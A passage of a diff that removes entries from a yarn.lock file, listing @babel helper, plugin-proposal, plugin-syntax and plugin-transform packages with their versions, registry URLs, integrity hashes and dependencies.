-resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.10.1.tgz#ec6859d20c5d8087f6a2dc4e014db7228975f13d"
-integrity sha512-SOwJzEfpuQwInzzQJGjGaiG578UYmyi2Xw668klPWV5n07B73S0a9btjLk/52Mlcxa+5AdIYqws1KyXRfMoB7A==
-dependencies:
-"@babel/helper-member-expression-to-functions" "^7.10.1"
-"@babel/helper-optimise-call-expression" "^7.10.1"
-"@babel/traverse" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-simple-access@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.10.1.tgz#08fb7e22ace9eb8326f7e3920a1c2052f13d851e"
-integrity sha512-VSWpWzRzn9VtgMJBIWTZ+GP107kZdQ4YplJlCmIrjoLVSi/0upixezHCDG8kpPVTBJpKfxTH01wDhh+jS2zKbw==
-dependencies:
-"@babel/template" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helper-split-export-declaration@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.10.1.tgz#c6f4be1cbc15e3a868e4c64a17d5d31d754da35f"
-integrity sha512-UQ1LVBPrYdbchNhLwj6fetj46BcFwfS4NllJo/1aJsT+1dLTEnXJL0qHqtY7gPzF8S2fXBJamf1biAXV3X077g==
-dependencies:
-"@babel/types" "^7.10.1"
-
-"@babel/helper-validator-identifier@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.10.1.tgz#5770b0c1a826c4f53f5ede5e153163e0318e94b5"
-integrity sha512-5vW/JXLALhczRCWP0PnFDMCJAchlBvM7f4uk/jXritBnIa6E1KmqmtrS3yn1LAnxFBypQ3eneLuXjsnfQsgILw==
-
-"@babel/helper-wrap-function@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.10.1.tgz#956d1310d6696257a7afd47e4c42dfda5dfcedc9"
-integrity sha512-C0MzRGteVDn+H32/ZgbAv5r56f2o1fZSA/rj/TYo8JEJNHg+9BdSmKBUND0shxWRztWhjlT2cvHYuynpPsVJwQ==
-dependencies:
-"@babel/helper-function-name" "^7.10.1"
-"@babel/template" "^7.10.1"
-"@babel/traverse" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/helpers@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.10.1.tgz#a6827b7cb975c9d9cef5fd61d919f60d8844a973"
-integrity sha512-muQNHF+IdU6wGgkaJyhhEmI54MOZBKsFfsXFhboz1ybwJ1Kl7IHlbm2a++4jwrmY5UYsgitt5lfqo1wMFcHmyw==
-dependencies:
-"@babel/template" "^7.10.1"
-"@babel/traverse" "^7.10.1"
-"@babel/types" "^7.10.1"
-
-"@babel/highlight@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.10.1.tgz#841d098ba613ba1a427a2b383d79e35552c38ae0"
-integrity sha512-8rMof+gVP8mxYZApLF/JgNDAkdKa+aJt3ZYxF8z6+j/hpeXL7iMsKCPHa2jNMHu/qqBwzQF4OHNoYi8dMA/rYg==
-dependencies:
-"@babel/helper-validator-identifier" "^7.10.1"
-chalk "^2.0.0"
-js-tokens "^4.0.0"
-
-"@babel/parser@^7.1.0", "@babel/parser@^7.10.1", "@babel/parser@^7.10.2", "@babel/parser@^7.4.4":
-version "7.10.2"
-resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.10.2.tgz#871807f10442b92ff97e4783b9b54f6a0ca812d0"
-integrity sha512-PApSXlNMJyB4JiGVhCOlzKIif+TKFTvu0aQAhnTvfP/z3vVSN6ZypH5bfUNwFXXjRQtUEBNFd2PtmCmG2Py3qQ==
-
-"@babel/plugin-proposal-async-generator-functions@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.10.1.tgz#6911af5ba2e615c4ff3c497fe2f47b35bf6d7e55"
-integrity sha512-vzZE12ZTdB336POZjmpblWfNNRpMSua45EYnRigE2XsZxcXcIyly2ixnTJasJE4Zq3U7t2d8rRF7XRUuzHxbOw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-remap-async-to-generator" "^7.10.1"
-"@babel/plugin-syntax-async-generators" "^7.8.0"
-
-"@babel/plugin-proposal-class-properties@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.10.1.tgz#046bc7f6550bb08d9bd1d4f060f5f5a4f1087e01"
-integrity sha512-sqdGWgoXlnOdgMXU+9MbhzwFRgxVLeiGBqTrnuS7LC2IBU31wSsESbTUreT2O418obpfPdGUR2GbEufZF1bpqw==
-dependencies:
-"@babel/helper-create-class-features-plugin" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-proposal-dynamic-import@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.10.1.tgz#e36979dc1dc3b73f6d6816fc4951da2363488ef0"
-integrity sha512-Cpc2yUVHTEGPlmiQzXj026kqwjEQAD9I4ZC16uzdbgWgitg/UHKHLffKNCQZ5+y8jpIZPJcKcwsr2HwPh+w3XA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-dynamic-import" "^7.8.0"
-
-"@babel/plugin-proposal-json-strings@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.10.1.tgz#b1e691ee24c651b5a5e32213222b2379734aff09"
-integrity sha512-m8r5BmV+ZLpWPtMY2mOKN7wre6HIO4gfIiV+eOmsnZABNenrt/kzYBwrh+KOfgumSWpnlGs5F70J8afYMSJMBg==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-json-strings" "^7.8.0"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.10.1.tgz#02dca21673842ff2fe763ac253777f235e9bbf78"
-integrity sha512-56cI/uHYgL2C8HVuHOuvVowihhX0sxb3nnfVRzUeVHTWmRHTZrKuAh/OBIMggGU/S1g/1D2CRCXqP+3u7vX7iA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-
-"@babel/plugin-proposal-numeric-separator@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.10.1.tgz#a9a38bc34f78bdfd981e791c27c6fdcec478c123"
-integrity sha512-jjfym4N9HtCiNfyyLAVD8WqPYeHUrw4ihxuAynWj6zzp2gf9Ey2f7ImhFm6ikB3CLf5Z/zmcJDri6B4+9j9RsA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-numeric-separator" "^7.10.1"
-
-"@babel/plugin-proposal-object-rest-spread@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.10.1.tgz#cba44908ac9f142650b4a65b8aa06bf3478d5fb6"
-integrity sha512-Z+Qri55KiQkHh7Fc4BW6o+QBuTagbOp9txE+4U1i79u9oWlf2npkiDx+Rf3iK3lbcHBuNy9UOkwuR5wOMH3LIQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-object-rest-spread" "^7.8.0"
-"@babel/plugin-transform-parameters" "^7.10.1"
-
-"@babel/plugin-proposal-optional-catch-binding@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.10.1.tgz#c9f86d99305f9fa531b568ff5ab8c964b8b223d2"
-integrity sha512-VqExgeE62YBqI3ogkGoOJp1R6u12DFZjqwJhqtKc2o5m1YTUuUWnos7bZQFBhwkxIFpWYJ7uB75U7VAPPiKETA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-optional-catch-binding" "^7.8.0"
-
-"@babel/plugin-proposal-optional-chaining@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.10.1.tgz#15f5d6d22708629451a91be28f8facc55b0e818c"
-integrity sha512-dqQj475q8+/avvok72CF3AOSV/SGEcH29zT5hhohqqvvZ2+boQoOr7iGldBG5YXTO2qgCgc2B3WvVLUdbeMlGA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-optional-chaining" "^7.8.0"
-
-"@babel/plugin-proposal-private-methods@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.10.1.tgz#ed85e8058ab0fe309c3f448e5e1b73ca89cdb598"
-integrity sha512-RZecFFJjDiQ2z6maFprLgrdnm0OzoC23Mx89xf1CcEsxmHuzuXOdniEuI+S3v7vjQG4F5sa6YtUp+19sZuSxHg==
-dependencies:
-"@babel/helper-create-class-features-plugin" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-proposal-unicode-property-regex@^7.10.1", "@babel/plugin-proposal-unicode-property-regex@^7.4.4":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.10.1.tgz#dc04feb25e2dd70c12b05d680190e138fa2c0c6f"
-integrity sha512-JjfngYRvwmPwmnbRZyNiPFI8zxCZb8euzbCG/LxyKdeTb59tVciKo9GK9bi6JYKInk1H11Dq9j/zRqIH4KigfQ==
-dependencies:
-"@babel/helper-create-regexp-features-plugin" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-syntax-async-generators@^7.8.0", "@babel/plugin-syntax-async-generators@^7.8.4":
-version "7.8.4"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
-integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-bigint@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea"
-integrity sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-class-properties@^7.10.1", "@babel/plugin-syntax-class-properties@^7.8.3":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.10.1.tgz#d5bc0645913df5b17ad7eda0fa2308330bde34c5"
-integrity sha512-Gf2Yx/iRs1JREDtVZ56OrjjgFHCaldpTnuy9BHla10qyVT3YkIIGEtoDWhyop0ksu1GvNjHIoYRBqm3zoR1jyQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-syntax-dynamic-import@^7.8.0":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3"
-integrity sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-flow@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.10.1.tgz#cd4bbca62fb402babacb174f64f8734310d742f0"
-integrity sha512-b3pWVncLBYoPP60UOTc7NMlbtsHQ6ITim78KQejNHK6WJ2mzV5kCcg4mIWpasAfJEgwVTibwo2e+FU7UEIKQUg==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-syntax-json-strings@^7.8.0", "@babel/plugin-syntax-json-strings@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
-integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-jsx@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.10.1.tgz#0ae371134a42b91d5418feb3c8c8d43e1565d2da"
-integrity sha512-+OxyOArpVFXQeXKLO9o+r2I4dIoVoy6+Uu0vKELrlweDM3QJADZj+Z+5ERansZqIZBcLj42vHnDI8Rz9BnRIuQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-syntax-logical-assignment-operators@^7.8.3":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.1.tgz#fffee77b4934ce77f3b427649ecdddbec1958550"
-integrity sha512-XyHIFa9kdrgJS91CUH+ccPVTnJShr8nLGc5bG2IhGXv5p1Rd+8BleGE5yzIg2Nc1QZAdHDa0Qp4m6066OL96Iw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.0", "@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
-integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-numeric-separator@^7.10.1", "@babel/plugin-syntax-numeric-separator@^7.8.3":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.1.tgz#25761ee7410bc8cf97327ba741ee94e4a61b7d99"
-integrity sha512-uTd0OsHrpe3tH5gRPTxG8Voh99/WCU78vIm5NMRYPAqC8lR4vajt6KkCAknCHrx24vkPdd/05yfdGSB4EIY2mg==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
-integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-catch-binding@^7.8.0", "@babel/plugin-syntax-optional-catch-binding@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
-integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-chaining@^7.8.0", "@babel/plugin-syntax-optional-chaining@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
-integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==
-dependencies:
-"@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-top-level-await@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.10.1.tgz#8b8733f8c57397b3eaa47ddba8841586dcaef362"
-integrity sha512-hgA5RYkmZm8FTFT3yu2N9Bx7yVVOKYT6yEdXXo6j2JTm0wNxgqaGeQVaSHRjhfnQbX91DtjFB6McRFSlcJH3xQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-arrow-functions@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.10.1.tgz#cb5ee3a36f0863c06ead0b409b4cc43a889b295b"
-integrity sha512-6AZHgFJKP3DJX0eCNJj01RpytUa3SOGawIxweHkNX2L6PYikOZmoh5B0d7hIHaIgveMjX990IAa/xK7jRTN8OA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-async-to-generator@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.10.1.tgz#e5153eb1a3e028f79194ed8a7a4bf55f862b2062"
-integrity sha512-XCgYjJ8TY2slj6SReBUyamJn3k2JLUIiiR5b6t1mNCMSvv7yx+jJpaewakikp0uWFQSF7ChPPoe3dHmXLpISkg==
-dependencies:
-"@babel/helper-module-imports" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-remap-async-to-generator" "^7.10.1"
-
-"@babel/plugin-transform-block-scoped-functions@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.10.1.tgz#146856e756d54b20fff14b819456b3e01820b85d"
-integrity sha512-B7K15Xp8lv0sOJrdVAoukKlxP9N59HS48V1J3U/JGj+Ad+MHq+am6xJVs85AgXrQn4LV8vaYFOB+pr/yIuzW8Q==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-block-scoping@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.10.1.tgz#47092d89ca345811451cd0dc5d91605982705d5e"
-integrity sha512-8bpWG6TtF5akdhIm/uWTyjHqENpy13Fx8chg7pFH875aNLwX8JxIxqm08gmAT+Whe6AOmaTeLPe7dpLbXt+xUw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-lodash "^4.17.13"
-
-"@babel/plugin-transform-classes@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.10.1.tgz#6e11dd6c4dfae70f540480a4702477ed766d733f"
-integrity sha512-P9V0YIh+ln/B3RStPoXpEQ/CoAxQIhRSUn7aXqQ+FZJ2u8+oCtjIXR3+X0vsSD8zv+mb56K7wZW1XiDTDGiDRQ==
-dependencies:
-"@babel/helper-annotate-as-pure" "^7.10.1"
-"@babel/helper-define-map" "^7.10.1"
-"@babel/helper-function-name" "^7.10.1"
-"@babel/helper-optimise-call-expression" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-replace-supers" "^7.10.1"
-"@babel/helper-split-export-declaration" "^7.10.1"
-globals "^11.1.0"
-
-"@babel/plugin-transform-computed-properties@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.10.1.tgz#59aa399064429d64dce5cf76ef9b90b7245ebd07"
-integrity sha512-mqSrGjp3IefMsXIenBfGcPXxJxweQe2hEIwMQvjtiDQ9b1IBvDUjkAtV/HMXX47/vXf14qDNedXsIiNd1FmkaQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-destructuring@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.10.1.tgz#abd58e51337815ca3a22a336b85f62b998e71907"
-integrity sha512-V/nUc4yGWG71OhaTH705pU8ZSdM6c1KmmLP8ys59oOYbT7RpMYAR3MsVOt6OHL0WzG7BlTU076va9fjJyYzJMA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-dotall-regex@^7.10.1", "@babel/plugin-transform-dotall-regex@^7.4.4":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.10.1.tgz#920b9fec2d78bb57ebb64a644d5c2ba67cc104ee"
-integrity sha512-19VIMsD1dp02RvduFUmfzj8uknaO3uiHHF0s3E1OHnVsNj8oge8EQ5RzHRbJjGSetRnkEuBYO7TG1M5kKjGLOA==
-dependencies:
-"@babel/helper-create-regexp-features-plugin" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-duplicate-keys@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.10.1.tgz#c900a793beb096bc9d4d0a9d0cde19518ffc83b9"
-integrity sha512-wIEpkX4QvX8Mo9W6XF3EdGttrIPZWozHfEaDTU0WJD/TDnXMvdDh30mzUl/9qWhnf7naicYartcEfUghTCSNpA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-exponentiation-operator@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.10.1.tgz#279c3116756a60dd6e6f5e488ba7957db9c59eb3"
-integrity sha512-lr/przdAbpEA2BUzRvjXdEDLrArGRRPwbaF9rvayuHRvdQ7lUTTkZnhZrJ4LE2jvgMRFF4f0YuPQ20vhiPYxtA==
-dependencies:
-"@babel/helper-builder-binary-assignment-operator-visitor" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-flow-strip-types@^7.4.4":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.10.1.tgz#59eafbff9ae85ec8932d4c16c068654be814ec5e"
-integrity sha512-i4o0YwiJBIsIx7/liVCZ3Q2WkWr1/Yu39PksBOnh/khW2SwIFsGa5Ze+MSon5KbDfrEHP9NeyefAgvUSXzaEkw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/plugin-syntax-flow" "^7.10.1"
-
-"@babel/plugin-transform-for-of@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.10.1.tgz#ff01119784eb0ee32258e8646157ba2501fcfda5"
-integrity sha512-US8KCuxfQcn0LwSCMWMma8M2R5mAjJGsmoCBVwlMygvmDUMkTCykc84IqN1M7t+agSfOmLYTInLCHJM+RUoz+w==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-function-name@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.10.1.tgz#4ed46fd6e1d8fde2a2ec7b03c66d853d2c92427d"
-integrity sha512-//bsKsKFBJfGd65qSNNh1exBy5Y9gD9ZN+DvrJ8f7HXr4avE5POW6zB7Rj6VnqHV33+0vXWUwJT0wSHubiAQkw==
-dependencies:
-"@babel/helper-function-name" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-literals@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.10.1.tgz#5794f8da82846b22e4e6631ea1658bce708eb46a"
-integrity sha512-qi0+5qgevz1NHLZroObRm5A+8JJtibb7vdcPQF1KQE12+Y/xxl8coJ+TpPW9iRq+Mhw/NKLjm+5SHtAHCC7lAw==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-member-expression-literals@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.10.1.tgz#90347cba31bca6f394b3f7bd95d2bbfd9fce2f39"
-integrity sha512-UmaWhDokOFT2GcgU6MkHC11i0NQcL63iqeufXWfRy6pUOGYeCGEKhvfFO6Vz70UfYJYHwveg62GS83Rvpxn+NA==
-dependencies:
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-modules-amd@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.10.1.tgz#65950e8e05797ebd2fe532b96e19fc5482a1d52a"
-integrity sha512-31+hnWSFRI4/ACFr1qkboBbrTxoBIzj7qA69qlq8HY8p7+YCzkCT6/TvQ1a4B0z27VeWtAeJd6pr5G04dc1iHw==
-dependencies:
-"@babel/helper-module-transforms" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-commonjs@^7.10.1", "@babel/plugin-transform-modules-commonjs@^7.4.4":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.10.1.tgz#d5ff4b4413ed97ffded99961056e1fb980fb9301"
-integrity sha512-AQG4fc3KOah0vdITwt7Gi6hD9BtQP/8bhem7OjbaMoRNCH5Djx42O2vYMfau7QnAzQCa+RJnhJBmFFMGpQEzrg==
-dependencies:
-"@babel/helper-module-transforms" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-"@babel/helper-simple-access" "^7.10.1"
-babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-systemjs@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.10.1.tgz#9962e4b0ac6aaf2e20431ada3d8ec72082cbffb6"
-integrity sha512-ewNKcj1TQZDL3YnO85qh9zo1YF1CHgmSTlRQgHqe63oTrMI85cthKtZjAiZSsSNjPQ5NCaYo5QkbYqEw1ZBgZA==
-dependencies:
-"@babel/helper-hoist-variables" "^7.10.1"
-"@babel/helper-module-transforms" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-umd@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.10.1.tgz#ea080911ffc6eb21840a5197a39ede4ee67b1595"
-integrity sha512-EIuiRNMd6GB6ulcYlETnYYfgv4AxqrswghmBRQbWLHZxN4s7mupxzglnHqk9ZiUpDI4eRWewedJJNj67PWOXKA==
-dependencies:
-"@babel/helper-module-transforms" "^7.10.1"
-"@babel/helper-plugin-utils" "^7.10.1"
-
-"@babel/plugin-transform-named-capturing-groups-regex@^7.8.3":
-version "7.8.3"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.8.3.tgz#a2a72bffa202ac0e2d0506afd0939c5ecbc48c6c"
-integrity sha512-f+tF/8UVPU86TrCb06JoPWIdDpTNSGGcAtaD9mLP0aYGA0OS0j7j7DHJR0GTFrUZPUU6loZhbsVZgTh0N+Qdnw==
-dependencies:
-"@babel/helper-create-regexp-features-plugin" "^7.8.3"
-
-"@babel/plugin-transform-new-target@^7.10.1":
-version "7.10.1"
-resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.10.1.tgz#6ee41a5e648da7632e22b6fb54012e87f612f324"
